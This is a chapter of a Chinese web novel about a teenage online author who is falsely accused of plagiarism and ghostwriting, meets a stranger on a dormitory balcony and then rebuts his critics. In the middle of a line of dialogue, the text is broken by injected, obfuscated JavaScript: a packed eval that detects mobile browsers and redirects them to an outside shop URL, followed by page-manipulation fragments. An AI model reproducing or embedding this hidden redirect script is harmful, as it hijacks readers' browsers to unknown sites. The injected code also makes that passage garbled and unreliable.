颜语凉完成他的第一本书是在高一的时候，文笔稚幼，非常中二。
现在都经常被翻出来当黑历史笑，他也常常跟着嘲，但是如今想来也是一段放在他心尖尖上的经历。
第一本书的成绩不好，他花了很长时间去学习和反思，第二本书是他在英语课上走神想出来的文梗，取名为《音符》，是一本幻想耽美娱乐圈文，天大的进步和有趣的奇思一下子就入了慕唯的眼，从此颜语凉便和那会儿才刚有起色的尽书网结下不解之缘。
颜语凉是住宿生，起早贪黑的学习还要想方设法地抽空写小说，让他有些疲惫却乐在其中。
他很高兴为自己的梦想迈出了第一步，夺得人生第一桶金。
和尽书签约的那一周回去，他同奶奶说了很多。
奶奶不知道什么是艺考，只知道小颜同学眉飞色舞的样子无比鲜活，铿锵有力地支持他：“小颜想上电视那就上！”
颜语凉红脸：“奶奶，我不是想上电视……”
奶奶搂着他：“哎哟，奶奶听懂了，小颜想写戏本子。”
可就在《音符》数据最好的时候，出事了。
那个时候隔壁有一个与尽书网性质相同的小网站，却是很恶劣的竞争关系，只要尽书网有好的作者对家就着急忙慌地用稍好一点的条件挖过去。
可是却在颜语凉这碰了壁，因为他们根本联系不上被关在学校闷头造车的颜语凉。
他那时没有公开的博客，去哪个平台搜“言不言”都能搜到一堆类似的ID。
在他的小说评论区评论挖人，被他当广告举报删除。
挖人进度一筹莫展，只能眼睁睁看着这本新星小说冉冉升起，对家网站感觉被挑衅了。
于是，撬墙角的功夫用尽了泼脏水的功夫可多的是。
让某位知名度几乎不值一提但苦写多年的小作者照着《音符》写了个预收文案，后台暗箱操作一改放预收时间，并说自己才是首发，言不言是抄袭，苦唧唧卖惨。
旁人肯定会同情努力且怀才不遇的弱者。
让某些营销号影射言不言这本书有原型，是娱乐圈某塌房塌得找不着北的男星。
娱乐圈文最忌讳的就是原型，尤其还是劣迹男星。
买通某写书专家评价言不言，说他第一本书那么烂，这本书肯定是找枪手了，不然不可能进步这么大，哪个正常作者周末更新一次性更三五章？还有《音符》有很多地方有bug，这正是言不言接不上剧情的佐证！
旁人也定会厌恶、嫉妒弄虚作假得来的荣誉。
……
一罪叠一罪。
那一周颜语凉抱着自己新写的稿子回家，发现自己已经“被”塌房了。
堪堪十七岁的小男生，风中凌乱，心碎一地。
但是慕唯告诉他，这一回尽书网不打算忍气吞声，收集了许多证据，请了专业律师，马上连带着之前挖墙脚的事一起告，很快结果就会水落石出。
【编编慕唯】：但是言宝呀，有一件事想征求一下你的意见，愿不愿意多签几年？
【编编慕唯】：不急，你可以等风波过去了再回答我，决定权在你自己手里。
颜语凉有自己的考量，之前仅仅签了两三年。
但尽书想捧一些招牌，之前小火出圈，现在黑红全网的《音符》是不二选择，但是招牌总不能在站里写了没两年就跑别的地方去了，所以网站想续约。
知杳中学的周假时间短任务多，颜语凉只来得及将自己这一周的稿件传到网站上进行本周的更新，将自己的一些手写稿和电子稿件编辑记录发给编辑。
匆匆开通人生的第一个博客，也不知道挂什么颜色的v。
[言不言：
清者自清。＃《音符》抄袭 ]
不卑不亢。
这是他的第一条博客，至今未删，主页往下狂翻翻到最后一条就会是这个。
尽书网让他稍微出面安抚书粉，但是言多必失，他连词条带得都是最简洁的。
当年所有的流言蜚语、捕风捉影都被这八个字如盾牌一般抵在对立面，护着一部分焦虑不安摇摆不定但真的很喜欢《音符》的粉丝躲到颜语凉身后。
但是颜语凉毕竟只是一个只有半根脚趾踏进社会的孩子，远没有博客上表现出来的那般冷静沉着。
第二天返校上课频频开小差。
班主任倩涂总能第一时间关注到每一个学生的状态，颜语凉作为英语课代表首当其冲。
她借着让颜语凉来办公室领卷子的名义询问他最近怎么了，颜语凉沉默好一阵，只说是为周三的竞赛紧张。
倩涂便给他塞小饼干和糖鼓励他：“李颖芝也去她都没紧张你紧张什么，放心好了，以你的能力拿奖肯定不成问题。”
颜语凉的思绪没有被抚平，一连几天心头都隐隐浮躁。
周三一早，领队老师带着他和同校参加作文大赛的另外几名同学一块坐上去邻市的大巴车。
他很少把手机带到学校来，因为出了这些事，他想多关注一下，但其实一直没有抓到空档偷偷上网。
老师在前头说着竞赛期间的注意事项，全是老生常谈，他听得兴致缺缺，在底下偷偷摸手机。
这个作文比赛的承办方是省内一所知名大学，颜语凉开小差的间隙听同行的人说着八卦，得知这所大学前阵子还在办一个数学相关的竞赛，大概快结束了，而他们的作文竞赛恰好明天开始，无缝衔接。
“听说数学竞赛的人比较多，他们住的六人间，满满当当的，我们语文这边比较冷门，人少，六人间只住四个人就够。”前头的女生是同班李颖芝，说着转头同颜语凉搭话，“颜语凉，我们作文大赛男生少，你甚至有可能一个人一间宿舍！”
“这么爽！”与李颖芝同坐的女同学替他感叹。
女生简直是预言家。
颜语凉当天下午走进宿舍，负责交接的老师戴着黑框眼镜看起来十分干练，通知他：“因为男生正好住满了，你是一个人住，有什么需要的可以找宿管，或者巡查的老师，你东边那间宿舍刚结束竞赛今晚可能会收拾东西，所以可能会有点吵，等明天他们早上搬走就没事了，他们五点就得走。”
颜语凉乖巧点头，转身走进宿舍。
看上去很听话，实则身体在前面走，魂在后面飘。
天已经快黑了，夏天已经过去，天气没有先前那般闷热，宿舍楼下高大的槐树同楼比肩，丛里林间的虫叫隐隐绰绰。
颜语凉解决晚饭后洗了个澡，站在阳台上透风。
他摆弄着手机，这会才得空去看网上那些人给他泼的是什么颜色的脏水。
颜语凉的共情能力极强，对文字极敏感，站在不温不凉的晚风里翻了半小时的评论，手机的光亮将他的脸映得白白的。
他能看到有人声嘶力竭、举着无数例子说讨厌他，也能看到有人誓死反驳，坚定地帮他说话，当然也有不明真相的路人，摇摆不定。
虚虚实实，真真假假。
听说尽书网和隔壁站子都请了水军互撕。
隔着手机屏幕，颜语凉顿感迷茫，到底有哪些是真心不信自己的，有哪些是真心信自己的？
是信我的人多一些还是不信的人更占大头？
颜语凉恍神，突然看到老师口中那个今晚会有些吵的隔壁宿舍有动静，背着屋里的光亮，有一个人也站到了阳台上。
隔壁的阳台装横与他这的不同，摆着大大小小的花盆，也不怕掉下去砸着人。
那人个子拔高，颜语凉看不清对方的脸，只能看到这个高个子头顶毛茸茸的，像小草一样。
“今晚温度正好，很舒服。”高个子说，语调很轻。
“嗯，”颜语凉只看他一眼便又栽在心事里，没想到这人会跟他搭话，他手上有些烦地滑动评论，说话声音却很小，没头脑地问，“你相信
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16759893|190096||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我吗？”
也不知道是在问谁，或许是这部让他苦恼的手机，或许是前头马上就要伸进阳台的槐树叶，亦或许是隔壁阳台上突然出现的这位“真的”陌生人。
他这句话出口立马在心底自嘲一声：“干嘛无厘头地问别人信不信自己，到时人家问起来，你要怎么答？爆马甲不成？”
那高个子却只怔愣一秒，出声：“信。”
不同于网络、隔着屏幕的“虚”，这是实打实的真实，但是颜语凉却非常意外：“为什么？”
高个子思忖两秒，启唇：“可能字比较少吧。”
忧郁多日的颜语凉瞬间被这突如其来的冷幽默逗乐，心情一下子舒畅起来，连带着夏秋交界的晚风都变得轻甜起来，他偏头问：“你叫什么名字？”
祝君忱看到闷闷不乐刷手机的男生露出笑来，正要报上家门，却听颜语凉惊呼一声：“啊——”
“怎么了？”他问。
“我手机掉下去了！！！”颜语凉惊叫，着急忙慌地转身下楼，祈祷手机没事。
手机掉进灌木丛里，颜语凉弓着腰找了快十分钟才找着。
好在宿舍只在三楼，楼下又恰巧有绿化带，手机损伤不大，只有手机壳上有轻微划痕。
他回到宿舍，回到阳台。
隔壁宿舍已经熄灯了，先前用余光就能看到的影子已经不知所踪。
这一趟乌龙下来，损失的似乎只有那个未说出口的名字，那位在夜色中说相信他的人的名字。
颜语凉一晃脑子，又开始翻评论。
他似乎是忽然醒悟、振作起来——为什么要被莫虚有的谣言囿困？
当夜，所有人看见几乎一直处在沉默状态的言不言开始活跃在网络上，也是众人第一次窥见这位新星作者的性格。
在污蔑《音符》抄袭的源头帖下边评论——
[言不言：我从未听过你。拜读了您的文章，去年，你口中说的放预收的那段时间，曾经在作话里吐苦水说没灵感，下本不知道写什么，请问为什么主页会突然出现《音节》？]
签约网站是该小作者的后台，他一开始还能有底气装哭卖惨无理取闹地瞎扯，但是颜语凉逻辑清晰、证据完整，直接把对方怼破防了，开始前言不搭后语。
在说《音符》有原型的营销号视频下面质疑——
[言不言：看完了，第一次听说这个男明星，感觉唯一的相同点是都有鼻子有眼，觉得像的人是没鼻子没眼吗？]
简而言之，你瞎吗？
在说“言不言肯定有找枪手”的专家评论区嘲笑——
[言不言：花三分钟百度枪手是什么意思，代写就代写，搞那么酷的名字干嘛。一会儿说我写得差，一会儿说我写得好疑似找代写，您自己逻辑能自洽吗？谢谢你帮我捉虫找出《音符》的漏洞，我会改进的（甜笑.jpg）]
有一个昏头昏脑的黑粉，颜语凉每次刚发评论就跟在后面第一个喷。
颜语凉怼完一圈回来，发现身后黏着个鼻涕虫，捏着鼻子送他几个字：“你傻逼么？”
后此鼻涕虫转粉，有人问他为何，他回答：“被骂爽了。”
颜语凉怼人专怼源头，没有花更多的精力和他们掰扯，剩下来的时间都用于回复、安抚喜欢他的粉丝。
有人担心网上铺天盖地的言论会不会影响他日后的创作，会不会有一天失望透顶撂笔不写了。
那时候粉丝对他的称呼还是“言言”。
颜语凉玩着自己的谐音梗，答：“不可能，我可是言不言，路过的狗都得喊声爷爷。”
书粉们还在忐忑忧虑全被他这句话抚得哭笑不得。
从那天起，“言言”变成了“言爷”，延续多年。
往事如风过径，只落微痕，当年纠结、当年难过、当年进退维谷，如今都能挥着手一笑而过。
颜语凉勇敢、自信，绝不会让自己陷落谷底、一蹶不振。